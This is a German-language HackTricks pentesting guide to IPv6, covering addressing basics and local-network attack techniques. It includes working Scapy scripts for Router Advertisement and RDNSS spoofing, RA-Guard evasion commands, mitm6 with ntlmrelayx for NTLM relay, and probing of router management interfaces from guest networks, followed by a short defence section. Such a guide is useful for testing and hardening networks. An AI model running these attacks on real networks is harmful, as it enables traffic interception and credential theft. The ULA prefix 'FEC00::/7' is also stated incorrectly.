Pentesting IPv6

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

IPv6 Grundtheorie

Netzwerke

IPv6-Adressen sind so aufgebaut, dass sie die Netzwerkorganisation und die Interaktion von Geräten verbessern. Eine IPv6-Adresse ist unterteilt in:

  1. Network-Präfix: Die ersten 48 Bits, die das Netzwerksegment bestimmen.
  2. Subnetz-ID: Die folgenden 16 Bits, verwendet zur Definition spezifischer Subnetze innerhalb des Netzwerks.
  3. Schnittstellenkennung: Die abschließenden 64 Bits, die ein Gerät innerhalb des Subnetzes eindeutig identifizieren.

Während IPv6 das in IPv4 verwendete ARP-Protokoll weglässt, führt es ICMPv6 mit zwei Hauptnachrichten ein:

  • Neighbor Solicitation (NS): Multicast-Nachrichten zur Adressauflösung.
  • Neighbor Advertisement (NA): Unicast-Antworten auf NS oder spontane Ankündigungen.

IPv6 umfasst außerdem spezielle Adresstypen:

  • Loopback Address (::1): Entspricht dem IPv4-127.0.0.1, für die interne Kommunikation innerhalb des Hosts.
  • Link-Local Addresses (FE80::/10): Für Aktivitäten im lokalen Netzwerk, nicht für das Routing ins Internet. Geräte im selben lokalen Netzwerk können sich mit diesem Bereich entdecken.

Praktische Verwendung von IPv6 in Netzwerkbefehlen

Um mit IPv6-Netzen zu interagieren, können Sie verschiedene Befehle verwenden:

  • Ping Link-Local Addresses: Überprüfen Sie die Präsenz lokaler Geräte mit ping6.
  • Neighbor Discovery: Verwenden Sie ip neigh, um Geräte zu sehen, die auf Link-Ebene entdeckt wurden.
  • alive6: Ein alternatives Tool, um Geräte im selben Netzwerk zu entdecken.

Im Folgenden einige Beispielbefehle:

ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6-Adressen können aus der MAC-Adresse eines Geräts für die lokale Kommunikation abgeleitet werden. Hier eine vereinfachte Anleitung, wie man die Link-local IPv6-Adresse aus einer bekannten MAC-Adresse ableitet, und ein kurzer Überblick über IPv6-Adresstypen und Methoden, um IPv6-Adressen im Netzwerk zu entdecken.

Gegeben eine MAC-Adresse 12:34:56:78:9a:bc, können Sie die Link-local IPv6-Adresse wie folgt konstruieren:

  1. MAC in IPv6-Format konvertieren: 1234:5678:9abc
  2. fe80:: voranstellen und fffe in der Mitte einfügen: fe80::1234:56ff:fe78:9abc
  3. Das siebte Bit von links invertieren, 1234 zu 1034 ändern: fe80::1034:56ff:fe78:9abc

IPv6 Adresstypen

  • Unique Local Address (ULA): Für lokale Kommunikation, nicht für öffentliche Internet-Routing gedacht. Präfix: FEC00::/7
  • Multicast Address: Für One-to-Many-Kommunikation. Wird an alle Interfaces in der Multicast-Gruppe geliefert. Präfix: FF00::/8
  • Anycast Address: Für One-to-Nearest-Kommunikation. An das nächstgelegene Interface gemäß Routing-Protokoll gesendet. Teil des 2000::/3 Global Unicast-Bereichs.

Adresspräfixe

  • fe80::/10: Link-Local Adressen (ähnlich zu 169.254.x.x)
  • fc00::/7: Unique Local-Unicast (ähnlich zu privaten IPv4-Bereichen wie 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast All Nodes
  • ff02::2: Multicast Router Nodes

IPv6-Adressen im Netzwerk entdecken

  1. Die MAC-Adresse eines Geräts im Netzwerk ermitteln.
  2. Die Link-local IPv6-Adresse aus der MAC-Adresse ableiten.

Methode 2: Verwendung von Multicast

  1. Einen ping an die Multicast-Adresse ff02::1 senden, um IPv6-Adressen im lokalen Netzwerk zu entdecken.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

Mehrere Techniken existieren, um MitM-Angriffe in IPv6-Netzwerken durchzuführen, wie zum Beispiel:

  • Spoofing von ICMPv6 neighbor- oder router advertisements.
  • Verwenden von ICMPv6 redirect- oder “Packet Too Big”-Nachrichten, um das Routing zu manipulieren.
  • Angriffe auf mobile IPv6 (erfordert normalerweise, dass IPSec deaktiviert ist).
  • Einrichten eines rogue DHCPv6-Servers.

Identifying IPv6 Addresses in the Feld

Subdomains erkunden

Eine Methode, um Subdomains zu finden, die möglicherweise mit IPv6-Adressen verknüpft sind, besteht darin, Suchmaschinen zu nutzen. Zum Beispiel kann eine Abfrage wie ipv6.* effektiv sein. Konkret kann der folgende Suchbefehl in Google verwendet werden:

site:ipv6./

Nutzung von DNS-Abfragen

Um IPv6-Adressen zu identifizieren, können bestimmte DNS-Record-Typen abgefragt werden:

  • AXFR: Fordert einen vollständigen Zonentransfer an und kann potenziell eine große Bandbreite an DNS-Einträgen offenlegen.
  • AAAA: Sucht direkt nach IPv6-Adressen.
  • ANY: Eine breite Abfrage, die alle verfügbaren DNS-Einträge zurückgibt.

Probing mit Ping6

Nachdem IPv6-Adressen, die mit einer Organisation verknüpft sind, identifiziert wurden, kann das Utility ping6 für probing verwendet werden. Dieses Tool hilft, die Erreichbarkeit der identifizierten IPv6-Adressen zu beurteilen und kann außerdem beim Auffinden benachbarter IPv6-Geräte unterstützen.

IPv6 Lokale Netzwerk-Angriffstechniken

Die folgenden Abschnitte behandeln praktische Layer-2 IPv6-Angriffe, die innerhalb desselben /64-Segments ausgeführt werden können, ohne einen globalen Präfix zu kennen. Alle unten gezeigten Pakete sind link-local und werden nur über den lokalen Switch übertragen, wodurch sie in den meisten Umgebungen extrem unauffällig sind.

System Tuning für ein stabiles Lab

Bevor Sie mit IPv6-Traffic arbeiten, wird empfohlen, Ihr System zu härten, um nicht durch eigene Tests vergiftet zu werden und die beste Performance bei massivem packet injection/sniffing zu erzielen.

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passives NDP & DHCPv6 Sniffing

Da jeder IPv6-Host automatisch mehreren Multicast-Gruppen beitritt (ff02::1, ff02::2, …) und ICMPv6 für SLAAC/NDP verwendet, kannst du das gesamte Segment kartieren, ohne ein einziges Paket zu senden. Der folgende Python/Scapy-Einzeiler lauscht auf die interessantesten L2-Nachrichten und gibt ein farbiges, mit Zeitstempel versehenes Log aus, das zeigt, wer wer ist:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Ergebnis: eine vollständige Link-Local-Topologie (MAC ⇄ IPv6) innerhalb von Sekunden, ohne IPS/IDS-Systeme auszulösen, die auf aktive Scans angewiesen sind.

Router Advertisement (RA) Spoofing

IPv6-Hosts verlassen sich auf ICMPv6 Router Advertisements zur Erkennung des Standard-Gateways. Wenn Sie gefälschte RAs häufiger als der legitime Router senden, werden die Geräte stillschweigend auf Sie als Gateway umschalten.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Um nach dem Gewinn des Rennens tatsächlich forward traffic weiterzuleiten:

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Router-Advertisement-Flags (M/O) & Default Router Preference (Prf)

FlagBedeutungAuswirkung auf das Verhalten des Clients
M (Managed Address Configuration)Signalisiert, dass stateful addressing via DHCPv6 im Segment verfügbar ist.Starker Indikator dafür, dass DHCPv6 spoofing funktionieren kann.
O (Other Configuration)Signalisiert, dass Hosts DHCPv6 für andere Parameter (DNS, NTP, …) verwenden sollten.Die Adresse stammt meist weiterhin aus SLAAC, aber DNS kann mit DHCPv6 hijacked werden.
M=0 / O=0Reines SLAAC-Netzwerk.DHCPv6 könnte gar nicht auftauchen; konzentrieren Sie sich auf rogue RA / RDNSS statt mitm6.
M=1 / O=1Gemischte Umgebung.Sowohl DHCPv6- als auch SLAAC-Informationen können koexistieren; die Angriffsfläche für Spoofing ist am größten.

Während eines pentests können Sie die legitime RA einmal prüfen und entscheiden, welcher Vektor praktikabel ist:

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Suche im Dump nach dem Feld flags [M,O] – kein Raten erforderlich.

Das Prf (Router Preference)-Feld im RA-Header steuert, wie attraktiv dein bösartiger Router wirkt, wenn mehrere Gateways vorhanden sind:

Prf valueBinaryMeaning
High10Clients bevorzugen diesen Router gegenüber jedem Medium/Low-Router
Medium (default)01Wird von fast allen legitimen Geräten verwendet
Low00Wird nur gewählt, wenn kein besserer Router verfügbar ist

When generating the packet with Scapy you can set it through the prf parameter as shown above (prf=0x1 → High). Die Kombination aus hohem Prf, einem kurzen Intervall und einer nicht-null Lebensdauer macht dein bösartiges Gateway bemerkenswert stabil.


RDNSS (DNS) Spoofing via RA

RFC 8106 erlaubt das Hinzufügen einer Recursive DNS Server (RDNSS)-Option innerhalb eines RA. Dies ist die bevorzugte DNS hijack primitive, wenn das Segment SLAAC-only (M=0 / O=0) ist und Clients nicht mit DHCPv6 sprechen. Die Client-Unterstützung ist implementierungsabhängig, daher prüfe das Zielbetriebssystem im Labor, anstatt eine universelle RDNSS-Unterstützung anzunehmen.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Dasselbe Paket kann außerdem eine DNSSL-Option enthalten, um Kurzname-Auflösungspfade in IPv6-only- oder dual-stack-Umgebungen zu vergiften, in denen Suchdomänen eine Rolle spielen. Wenn du den Angriff sauber beendest, sende ein revert RA mit derselben Option und lifetime=0.

RA-Guard-Umgehung in der Praxis

RFC 7113 dokumentiert, warum vereinfachte RA-Guard-Deployments umgangen werden können, wenn sie die vollständige IPv6-Headerkette nicht parsen oder bei Fragmenten offenbleiben. Das ist keine neue Forschung, aber weiterhin betrieblich relevant, weil viele Access-Switches nur partielle Filterung implementieren.

Neuere thc-ipv6-Builds zeigen das direkt im Tooling:

# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64

# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64

# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0

Verwenden Sie diese nur, nachdem Sie bestätigt haben, dass ein normal gefälschtes RA gefiltert wird. Wenn -H/-D/-F plötzlich dafür sorgt, dass Hosts Ihren rogue router akzeptieren, ist das ein Hinweis darauf, dass der Switch nur den festen IPv6-Header statt der eigentlichen ICMPv6 RA payload abgleicht.

DHCPv6 DNS Spoofing (mitm6)

Wenn das legitime RA M und/oder O ankündigt, senden Windows-Clients häufig DHCPv6-Anfragen für Adressen oder zusätzliche Konfiguration. mitm6 missbraucht dieses Verhalten, indem es auf DHCPv6 antwortet und Ihre link-local IPv6 als DNS mit kurzer lease einträgt. Das ermöglicht:

  • NTLM relay attacks (WPAD + DNS hijacking)
  • Abfangen der internen Namensauflösung ohne Router zu berühren
  • Low-noise targeting, weil Sie das poisoning auf bestimmte Hosts oder Domains eingrenzen können

Typische Nutzung:

# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus

# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad

Nützliche Details aus aktuellen mitm6-Builds:

  • --no-ra hält den Angriff DHCPv6-only, wenn das Netzwerk rogue RAs erkennt.
  • -d/--domain und --host-allowlist halten das poisoning gezielt statt jede Query im Segment zu hijacken.
  • --ignore-nofqdn reduziert Rauschen von Clients, die die DHCPv6 FQDN-Option weglassen.

Wenn das Segment reines SLAAC (M=0 / O=0) ist, ist mitm6 normalerweise das falsche Primitive. Verwende stattdessen rogue RAs / RDNSS und behalte die höherstufige Relay-Logik auf der WPAD/relay page.

Abwehrmaßnahmen

  • RA Guard / DHCPv6 Guard / ND Inspection auf verwalteten Switches.
  • Port-ACLs, die nur der MAC des legitimen Routers erlauben, RAs zu senden.
  • Überwache auf unerwartet hochfrequente RAs oder plötzliche RDNSS-Änderungen.
  • Das Deaktivieren von IPv6 auf Endgeräten ist ein temporärer Workaround, der oft moderne Dienste zerstört und blinde Flecken verdeckt – bevorzuge stattdessen L2-Filtering.

NDP Router-Erkennung auf Guest/Public-SSIDs und Offenlegung von Management-Services

Viele Consumer-Router exponieren Management-Daemons (HTTP(S), SSH/Telnet, TR-069, etc.) auf allen Interfaces. In manchen Deployments ist das „guest/public“ SSID zum WAN/Core gebridged und IPv6-only. Selbst wenn sich die IPv6-Adresse des Routers bei jedem Boot ändert, kann man sie zuverlässig über NDP/ICMPv6 ermitteln und dann direkt von der guest/public SSID auf die Management-Ebene verbinden.

Typischer Ablauf von einem Client, der mit der guest/public SSID verbunden ist:

  1. Entdecke den Router via ICMPv6 Router Solicitation an das All-Routers-Multicast ff02::2 und erfasse das Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

Die RA zeigt die link-local-Adresse des Routers und oft auch eine globale Adresse/ein Prefix an. Wenn nur eine link-local-Adresse bekannt ist, denke daran, dass Verbindungen den zone index angeben müssen, z. B. ssh -6 admin@[fe80::1%wlan0].

Alternativ: nutze die ndisc6 suite, falls verfügbar:

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Auf über IPv6 exponierte Dienste vom guest SSID aus zugreifen:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Falls die Management-Shell packet-capture tooling über einen Wrapper (z. B. tcpdump) bereitstellt, prüfe auf argument/filename injection, die das Übergeben zusätzlicher tcpdump-Flags wie -G/-W/-z erlaubt, um post-rotate command execution zu erreichen. Siehe:

Wildcards Spare tricks

Gegenmaßnahmen/Anmerkungen:

  • Binde Management nicht an guest/public bridges; setze IPv6-Firewalls auf SSID bridges ein.
  • Rate-limit und filtere NDP/RS/RA in guest segments, wo möglich.
  • Für Dienste, die erreichbar sein müssen, erzwinge authN/MFA und starke Rate-Limits.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks